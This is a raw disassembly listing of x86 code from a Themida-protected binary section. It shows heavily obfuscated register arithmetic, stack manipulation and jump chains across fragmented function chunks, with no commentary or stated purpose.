; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A466: ; CODE XREF: sub_59390B+B69Fj
mov ecx, [esp-14h+arg_C]
jmp loc_592AAC
; ---------------------------------------------------------------------------
loc_59A46E: ; CODE XREF: sub_59390B-145Cj
add dl, 6Eh
sub al, dl
jmp loc_5A51D7
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A478: ; CODE XREF: Themida_:005A4AAEj
add ebp, 4
push 8BAh
mov [esp], esi
mov esi, 6AD76A89h
jmp loc_5932B4
; ---------------------------------------------------------------------------
loc_59A490: ; CODE XREF: Themida_:00599C9Fj
add dword ptr [esp], 4
mov ebp, [esp]
push eax
jmp loc_59DD7B
; ---------------------------------------------------------------------------
loc_59A49D: ; CODE XREF: Themida_:0059EDDFj
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_59A4A2: ; CODE XREF: sub_5932F7+EB97j
pop [esp+4+var_4]
mov esp, [esp+0]
jmp sub_59A5DB
; END OF FUNCTION CHUNK FOR sub_5932F7
; ---------------------------------------------------------------------------
loc_59A4AD: ; CODE XREF: Themida_:00595208j
push edx
mov edx, 1AD0479Ah
xor edx, 70C907CEh
or esi, edx
pop edx
xor esi, 52730ACDh
and ecx, esi
jmp loc_594398
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D82E
loc_59A4C9: ; CODE XREF: sub_59D82E+6DFFj
mov [esp+0], cx
movzx cx, al
jmp loc_598C39
; END OF FUNCTION CHUNK FOR sub_59D82E
; =============== S U B R O U T I N E =======================================
sub_59A4D6 proc near ; CODE XREF: sub_59390B+10225j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00595139 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00595644 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00595CB8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059691A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00596B67 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059733C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059782F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599279 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00599639 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059B9E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D383 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F860 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A00D8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A038F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A06D9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A1FF6 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A2569 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A27B9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2923 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2CCC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A2ECF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3AC1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A43CD SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A5BE7 SIZE 0000000A BYTES
sub esp, 4
mov [esp+0Ch+var_C], edi
jmp loc_595CB8
sub_59A4D6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59A4E4: ; CODE XREF: Themida_:005A4D31j
pop ebx
neg ecx
or ecx, 184A12EDh
not ecx
and ecx, 4D2E5AD0h
push ebx
jmp loc_596AE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A4FB: ; CODE XREF: sub_59390B+A4Aj
add edi, esi
pop esi
xchg edi, [esp+12h+var_14+2]
pop esp
sub esp, 4
jmp loc_591ABF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A50D: ; CODE XREF: Themida_:00591D13j
add esi, 225D5ED7h
add esi, 6BEA0F25h
add esi, 7B4D487Fh
add esi, 699F027Ch
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 2A8153BEh
push esi
mov esi, 41260929h
and ecx, esi
pop esi
dec ecx
push esi
mov esi, 123h
push ebx
mov ebx, 491969CDh
jmp loc_59BA1B
; ---------------------------------------------------------------------------
loc_59A54F: ; CODE XREF: Themida_:0059B26Fj
mov edi, 2C142BD1h
shr edi, 4
sub edi, 0EE2C14D3h
sub eax, edi
pop edi
sub eax, 561F707Eh
add eax, ebp
add eax, 561F707Eh
add eax, 14952DEAh
mov ebp, [esp]
add esp, 4
jmp loc_59B3D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_59A57C: ; CODE XREF: sub_595BAD-16C6j
push ecx
sub esp, 4
mov [esp+8+var_8], ebx
push edx
push 42C44BF4h
jmp loc_5A2B23
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_59A591: ; CODE XREF: sub_59EA40-CB95j
push ecx
mov ecx, 4AD943B2h
sub ecx, 0E7839B12h
add esi, ecx
mov ecx, [esp+8+var_8]
jmp loc_593E9F
; END OF FUNCTION CHUNK FOR sub_59EA40
; ---------------------------------------------------------------------------
loc_59A5A7: ; CODE XREF: Themida_:005995F7j
pop eax
jmp loc_5A38BD
; ---------------------------------------------------------------------------
loc_59A5AD: ; CODE XREF: Themida_:005944ACj
xchg ebx, [esp]
jmp loc_596F9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59A5B5: ; CODE XREF: sub_59FCCB-AC42j
pop ebx
add ebp, ebx
pop ebx
xchg ebp, [esp+0]
jmp loc_592C21
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59931D
loc_59A5C1: ; CODE XREF: sub_59931D+6BF9j
mov [esp-4+arg_0], eax
jmp loc_594172
; END OF FUNCTION CHUNK FOR sub_59931D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A5C9: ; CODE XREF: sub_59390B+11B16j
and ecx, esi
mov esi, [esp+12h+var_14+2]
push esi
mov esi, esp
push 7680h
jmp loc_5A09FD
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59A5DB proc near ; CODE XREF: sub_5932F7+71B1j
var_8 = dword ptr -8
push ebx
push 15D5h
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop ebx
jmp sub_59BCC8
sub_59A5DB endp
; ---------------------------------------------------------------------------
loc_59A5F1: ; CODE XREF: Themida_:0059DD62j
xchg eax, [esp]
pop esp
add eax, 4
xchg eax, [esp]
jmp loc_59CF2D
; ---------------------------------------------------------------------------
loc_59A600: ; CODE XREF: Themida_:0059C894j
add edi, 4
jmp loc_595FAA
; ---------------------------------------------------------------------------
loc_59A608: ; CODE XREF: Themida_:0059CD9Bj
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59A60D: ; CODE XREF: Themida_:0059DDC6j
push esi
jmp loc_5A53E6
; ---------------------------------------------------------------------------
loc_59A613: ; CODE XREF: Themida_:00598322j
push 0BCFh
mov [esp], edi
mov edi, 6C8613Eh
jmp loc_591DFC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A625: ; CODE XREF: sub_59390B+730Cj
sub edi, ebx
push ecx
mov ecx, 4DB44592h
neg ecx
jmp loc_59371D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A634: ; CODE XREF: Themida_:005A4C4Bj
and eax, 24CF4B2Bh
push eax
not dword ptr [esp]
jmp loc_592132
; ---------------------------------------------------------------------------
loc_59A642: ; CODE XREF: Themida_:005A2FCBj
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59A647: ; CODE XREF: Themida_:0059FD7Aj
shr eax, 8
add eax, 2E8B1C24h
and edi, eax
jmp loc_599C96
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_59A656: ; CODE XREF: sub_5A23FB-F885j
push esi
mov esi, 3F3A45A6h
add edi, esi
jmp loc_5A508A
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A663: ; CODE XREF: sub_59390B-6B2j
sub edi, 61615B05h
sub edi, 5730197Dh
add edi, ebx
add edi, 5730197Dh
push esi
mov esi, 50F26343h
jmp loc_59226E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A682: ; CODE XREF: Themida_:0059AFFBj
sub dword ptr [esp+8], 66955F7Bh
push dword ptr [esp]
jmp loc_5995E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A692: ; CODE XREF: sub_59390B+5DCFj
xor edx, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], edx
jmp loc_5A22D8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A69D: ; CODE XREF: Themida_:00595F95j
add bl, ch
jmp loc_5A2886
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591745
loc_59A6A4: ; CODE XREF: sub_591745+6A58j
add esp, 4
shr edx, 5
dec edx
push ecx
mov ecx, 5DDEDDEh
jmp loc_59E55F
; END OF FUNCTION CHUNK FOR sub_591745
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59A6B6: ; CODE XREF: sub_59FCCB-D519j
push eax
push 211Bh
mov [esp+0Ah+var_C+2], edx
mov dh, 6Fh
mov ah, 6Ah
xor ah, dh
pop edx
jmp loc_5A4F7D
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_59A6CB: ; CODE XREF: sub_5A0BFE+1Dj
mov ecx, 19370F97h
neg ecx
and ecx, 3C32B27h
sub ecx, 7CF50F9Dh
sub ebp, ecx
mov ecx, [esp-4+arg_0]
add esp, 4
jmp loc_5971B9
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A6EE: ; CODE XREF: sub_59390B+C9D7j
mov edi, [esp+0Ch+var_C]
add esp, 4
xchg edi, ebx
xchg ebx, ebp
inc ebp
push edx
mov edx, 0FFFFFFFFh
sub ebp, edx
jmp loc_59B4C4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A709: ; CODE XREF: Themida_:00595834j
pop esp
mov [esp], ebx
jmp loc_59B82F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A712: ; CODE XREF: sub_59390B-1A8Fj
or ecx, 527B795Dh
neg ecx
shr ecx, 4
push eax
jmp loc_5A42FD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A723: ; CODE XREF: Themida_:00594D58j
push ecx
mov ecx, 6B296D2Ah
neg ecx
add ecx, 0EC8EFBE0h
add eax, ecx
pop ecx
jmp loc_5A3DEA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A739: ; CODE XREF: sub_59390B-4C9j
sub ecx, ebp
add ecx, 75E11DE6h
jmp loc_59B513
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A746: ; CODE XREF: Themida_:0059A048j
xchg ebp, [esp]
jmp loc_5A2CEC
; ---------------------------------------------------------------------------
loc_59A74E: ; CODE XREF: Themida_:005A4552j
dec ecx
push ecx
push ebp
pop ecx
jmp loc_599B41
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_59A757: ; CODE XREF: sub_594A8D-2E99j
pop eax
push eax
jmp loc_5A5792
; END OF FUNCTION CHUNK FOR sub_594A8D
; =============== S U B R O U T I N E =======================================
sub_59A75E proc near ; CODE XREF: sub_59390B+7881j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00590E04 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059117B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005911D8 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059155F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059279F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005927E2 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00592B32 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005938F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005943DE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594714 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594DB0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00595F27 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00596B15 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598EE2 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00599C62 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059A35F SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059AA6A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AE4E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059B555 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059BA28 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059BDAC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059C0EA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059C597 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059C704 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059CA5E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059E0EF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059EB92 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059ED1A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1AFF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1CB3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A24AA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A30F7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A3C69 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A4439 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A46A2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A4D07 SIZE 0000000E BYTES
sub esp, 4
jmp loc_5938F5
sub_59A75E endp
; ---------------------------------------------------------------------------
loc_59A769: ; CODE XREF: Themida_:0059E316j
pop esp
jmp loc_595682
; ---------------------------------------------------------------------------
loc_59A76F: ; CODE XREF: Themida_:005A44EDj
mov edi, 772234D3h
add edi, 955D10C1h
add esi, edi
pop edi
pop eax
push edi
mov edi, 0C92210Bh
add ebx, 3E67498Ah
jmp loc_597DBA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A78F: ; CODE XREF: sub_59390B+97C0j
inc ebx
shl ebx, 2
or ebx, 1CF471FDh
jmp loc_599080
; ---------------------------------------------------------------------------
loc_59A79E: ; CODE XREF: sub_59390B+5AE8j
add eax, 4
jmp sub_59E510
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A7A8: ; CODE XREF: Themida_:005A3D86j
pop edx
sub esp, 4
jmp loc_5970A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A7B1: ; CODE XREF: sub_59390B+C51Bj
mov esi, 69D007B9h
neg esi
sub esi, 83AD8BACh
and ecx, esi
pop esi
and ecx, 9B27D2Ch
and ecx, 2C8960E3h
xor ecx, 194C62C7h
neg ecx
add ecx, 25F733DDh
add ebx, ecx
mov ecx, [esp-26h+arg_1C+2]
jmp loc_594346
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_59A7E5: ; CODE XREF: sub_59CFD4+3778j
push 4836h
mov [esp+8+var_8], ebx
mov ebx, 5FF478BFh
sub esp, 4
mov [esp+0Ch+var_C], ecx
sub esp, 4
mov [esp+10h+var_10], ebp
mov ebp, 4FC474D6h
mov ecx, 650FDC32h
sub ecx, ebp
pop ebp
push esi
mov esi, 0B322F92h
add [esp+10h+var_4], esi
pop esi
sub [esp+0Ch+var_4], ecx
push eax
mov eax, 0B322F92h
jmp loc_5A0463
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_59A825: ; CODE XREF: sub_59918B-41B4j
pop esi
mov ebx, [esp-4+arg_0]
add esp, 4
add edx, edi
add eax, [edx]
push [esp-8+arg_4]
jmp loc_5A3E76
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
loc_59A838: ; CODE XREF: Themida_:005A1E9Dj
mov esi, esp
push ebp
jmp loc_59CEB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A840: ; CODE XREF: sub_59390B+1528j
push esp
jmp loc_59A302
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_59A846: ; CODE XREF: sub_5A17BF+1j
xor eax, ebx
push 6F16h
mov [esp+4+var_4], ebx
mov ebx, 68931CAh
xchg esi, ebx
push esi
push edx
pop esi
jmp loc_59FCBE
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
loc_59A85F: ; CODE XREF: Themida_:005A01FAj
mov dh, al
pop eax
pop ecx
pop ebx
mov bl, dh
push dword ptr [esp]
pop edx
add esp, 4
mov eax, [esp]
jmp loc_59433A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_59A875: ; CODE XREF: sub_5936EC+5D94j
push 1381C3Ah
mov eax, [esp+10h+var_10]
add esp, 4
xchg eax, ebp
inc ebp
xchg eax, ebp
add eax, 5A07FEB4h
mov ecx, eax
pop eax
add ecx, 513E199Ch
add ecx, 2D317FAFh
jmp loc_59F49E
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
loc_59A89C: ; CODE XREF: Themida_:00594FF7j
mov ecx, [esp]
jmp loc_594B19
; ---------------------------------------------------------------------------
loc_59A8A4: ; CODE XREF: Themida_:005A3CD0j
mov ecx, esp
push eax
jmp loc_5A3569
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59A8AC: ; CODE XREF: sub_59A431+4F1Dj
xor ebp, 79562853h
shl ebp, 6
sub ebp, 9D203C25h
xor edx, ebp
jmp loc_5A2FFD
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_59A8C2: ; CODE XREF: Themida_:005988D8j
or eax, 3EA94A3Ah
sub eax, 72B40BAAh
mov edx, eax
pop eax
add [esp+8], edx
pop edx
push 7DC4h
jmp loc_5919F1
; ---------------------------------------------------------------------------
loc_59A8DE: ; CODE XREF: Themida_:005A3564j
not edi
jmp loc_59160C
; ---------------------------------------------------------------------------
loc_59A8E5: ; CODE XREF: Themida_:00599240j
add edx, ebp
add edx, 34013C1Eh
pop ebp
jmp loc_5A4209
; ---------------------------------------------------------------------------
loc_59A8F3: ; CODE XREF: Themida_:00592D2Ej
mov eax, 4
jmp loc_592F2F
; ---------------------------------------------------------------------------
loc_59A8FD: ; CODE XREF: Themida_:005A3C13j
add ax, di
jmp loc_598DAC
; =============== S U B R O U T I N E =======================================
sub_59A905 proc near ; CODE XREF: sub_59F53F-1F9Fj
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00591B7C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00594B27 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00597DF0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059AD9A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059E5ED SIZE 00000008 BYTES
push ebx
mov ebx, 490222B6h
mov ecx, ebx
pop ebx
jmp loc_591B7C
sub_59A905 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59A913: ; CODE XREF: Themida_:00591362j
xor eax, edi
pop edi
jmp loc_5964EF
; ---------------------------------------------------------------------------
loc_59A91B: ; CODE XREF: Themida_:00592802j
push ebx
jmp loc_5A2B5D
; ---------------------------------------------------------------------------
loc_59A921: ; CODE XREF: Themida_:0059C344j
add dword ptr [esp+4], 1C624769h
sub [esp+4], esi
sub dword ptr [esp+4], 1C624769h
mov esi, [esp]
add esp, 4
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59A940: ; CODE XREF: Themida_:005A2B13j
mov [esp], ecx
push 20674678h
jmp loc_59A2DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A94D: ; CODE XREF: sub_59390B+6446j
push dx
mov dh, 0EAh
not dh
jmp loc_596BA5
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59A958 proc near ; CODE XREF: sub_59386B+A244j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00592648 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00594D26 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596072 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00598A09 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CD04 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059E2B8 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A0B37 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A1E0A SIZE 00000006 BYTES
push ebx
jmp loc_592648
sub_59A958 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A95E: ; CODE XREF: sub_59390B+397Cj
sub esi, 4D472888h
sub esi, 7AD702D7h
add esi, edx
add esi, 7AD702D7h
add esi, 4D472888h
pop edx
xchg esi, [esp-16h+arg_C+2]
pop esp
push ebp
push 3A3h
mov [esp-12h+arg_8+2], esi
mov esi, 536E1C04h
jmp sub_59F505
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A990: ; CODE XREF: Themida_:00591E4Fj
mov ebx, [esp]
add esp, 4
add al, cl
jmp loc_5A4C87
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_596A4F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_59A9A5: ; CODE XREF: sub_59EA40+3368j
push 7CA9h
mov [esp+0Ch+var_C], esi
push [esp+0Ch+var_8]
pop esi
pop [esp+0Ch+var_C]
pop esp
push 33C0h
mov [esp+8+var_8], edi
sub esp, 4
mov [esp+0Ch+var_C], edx
push 5C550A84h
jmp loc_5914BB
; END OF FUNCTION CHUNK FOR sub_59EA40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594C24
loc_59A9CE: ; CODE XREF: sub_594C24+9ACEj
or eax, 50F64CC5h
add eax, 2C09B13Fh
add ebp, eax
jmp loc_59F87C
; END OF FUNCTION CHUNK FOR sub_594C24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59A9DF: ; CODE XREF: sub_591FC5+1437j
push 3E1Eh
mov [esp+0Ch+var_C], edx
mov dh, 4Dh
xor dh, 89h
xor al, dh
pop edx
or al, 11h
sub al, 6Eh
mov ch, al
pop eax
jmp loc_59F353
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BF22
loc_59A9FB: ; CODE XREF: sub_59BF22+370Cj
push [esp+8+var_8]
pop eax
add esp, 4
jmp loc_5A03AF
; END OF FUNCTION CHUNK FOR sub_59BF22
; ---------------------------------------------------------------------------
loc_59AA0A: ; CODE XREF: Themida_:0059590Aj
pop esp
shr word ptr [esp], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B8D
loc_59AA15: ; CODE XREF: sub_590B8D+1028j
push ecx
mov ecx, 4A084233h
shl ecx, 3
shr ecx, 8
shl ecx, 7
jmp sub_59B20A
; END OF FUNCTION CHUNK FOR sub_590B8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_59AA29: ; CODE XREF: sub_598762+2A2j
add ecx, 4
jmp loc_5987FF
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
loc_59AA34: ; CODE XREF: Themida_:0059A3FDj
add esi, 422BD9F0h
mov edi, esi
pop esi
sub edx, 3F4E3A50h
sub edx, 59BE3114h
sub edx, 1C83279Fh
add edx, edi
add edx, 1C83279Fh
jmp loc_5A3AD6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_59AA5C: ; CODE XREF: sub_59CFD4+725Aj
push 4E89h
mov [esp+1Ch+var_1C], ebp
push esp
jmp loc_590B18
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59AA6A: ; CODE XREF: sub_59A75E+E0Ej
mov [esp+2+var_4+2], ecx
jmp loc_5927E2
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_59AA72: ; CODE XREF: Themida_:0059B6D3j
and esi, edx
jmp loc_59C244
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_59AA79: ; CODE XREF: sub_59CAFB+77C3j
mov [esp+0Ch+var_C], ebx
jmp loc_5A06CA
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_59AA81: ; CODE XREF: Themida_:005922ECj
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
push 39A0h
jmp loc_59FAD9
; ---------------------------------------------------------------------------
loc_59AA94: ; CODE XREF: Themida_:005A551Aj
push esi
mov esi, esp
push ebx
jmp loc_5961AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AA9D: ; CODE XREF: sub_59390B+2B66j
pop ecx
push [esp-1Eh+arg_14+2]
pop ebx
sub esp, 4
jmp loc_598BC9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59AAAA: ; CODE XREF: Themida_:00593263j
shl dl, 5
sub dl, 0B7h
add bh, dl
pop edx
mov dl, bh
pop ebx
shr dl, 7
add dl, 97h
push ebx
push ecx
jmp loc_599632
; ---------------------------------------------------------------------------
loc_59AAC3: ; CODE XREF: Themida_:0059FD9Cj
sub edx, 9763F2Eh
sub edx, ebx
add edx, 9763F2Eh
pop ebx
push esi
jmp loc_5A48B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AAD8: ; CODE XREF: sub_59390B+3D50j
pop edx
push edx
push ebx
push edi
mov edi, 6D0E71C0h
add edi, 92F18E42h
jmp loc_59B888
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59822A
loc_59AAEC: ; CODE XREF: sub_59822A+532Fj
add eax, 70B9668Bh
add eax, 5A831C5Dh
jmp loc_5943B2
; END OF FUNCTION CHUNK FOR sub_59822A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_59AAFB: ; CODE XREF: sub_59338E-241Dj
mov ebp, eax
pop eax
jmp loc_5A567A
; END OF FUNCTION CHUNK FOR sub_59338E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592CEE
loc_59AB03: ; CODE XREF: sub_592CEE+3j
mov ah, bh
jmp loc_5A0001
; END OF FUNCTION CHUNK FOR sub_592CEE
; ---------------------------------------------------------------------------
loc_59AB0A: ; CODE XREF: Themida_:005968C4j
xchg ebp, edi
push edx
mov edx, 1
jmp loc_599389
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E1C
loc_59AB17: ; CODE XREF: sub_592E1C-17BAj
push esp
jmp loc_59F685
; END OF FUNCTION CHUNK FOR sub_592E1C
; ---------------------------------------------------------------------------
loc_59AB1D: ; CODE XREF: Themida_:005A4015j
push edx
mov edx, 47623452h
xor edx, edi
xor edi, edx
xor edx, edi
not edi
xchg edi, edx
sub edx, 130A2D95h
jmp loc_59D2D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A09BC
loc_59AB38: ; CODE XREF: sub_5A09BC-7D00j
add esp, 4
xor eax, [esp-0Ch+arg_8]
jmp loc_59B5F7
; END OF FUNCTION CHUNK FOR sub_5A09BC
; =============== S U B R O U T I N E =======================================
sub_59AB43 proc near ; CODE XREF: sub_59F294+288Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00590AD4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00590D68 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005924F8 SIZE 0000000B BYTES
